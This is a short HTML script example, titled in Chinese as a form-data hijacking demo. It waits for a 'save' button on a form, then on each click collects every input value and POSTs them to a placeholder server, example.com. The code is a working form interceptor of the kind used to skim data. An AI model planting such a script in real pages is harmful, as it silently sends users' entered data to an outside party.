劫持表单数据示例.html 1.4 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657
  1. <%
  2. %>
  3. <script src="https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js"></script>
  4. <script type="text/javascript">
  5. //此处添加js代码
  6. console.log('脚本载入成功')
  7. let __formData = {}
  8. $('#sysModelingXform :input').each(function() {
  9. var name = $(this).attr('name')
  10. var value = $(this).val()
  11. __formData[name] = value
  12. })
  13. console.log("检查表单", __formData);
  14. // 定义一个全局变量来存储定时器标识符
  15. let intervalId;
  16. // 停止定时器
  17. function stopInterval() {
  18. clearInterval(intervalId);
  19. }
  20. // 检查元素是否存在
  21. function checkElement() {
  22. // 查找标题为保存的元素
  23. var element = $('div[title="保存"]');
  24. if (element.length > 0) {
  25. console.log('找到保存元素:', element);
  26. // 在该元素添加一个点击事件获取数据并推送到指定服务器
  27. element.on('click', () => {
  28. console.log('上传服务器')
  29. __formData = {}
  30. $('#sysModelingXform :input').each(function() {
  31. var name = $(this).attr('name')
  32. var value = $(this).val()
  33. __formData[name] = value
  34. })
  35. console.log('表单数据', __formData)
  36. axios({
  37. method: 'post',
  38. url: 'https://www.example.com',
  39. data: __formData
  40. })
  41. // debugger
  42. })
  43. stopInterval(); // 找到元素后停止定时器
  44. }
  45. }
  46. // 页面加载时没有该元素,轮询直到找到
  47. intervalId = setInterval(checkElement, 500); // 每半秒检查一次
  48. </script>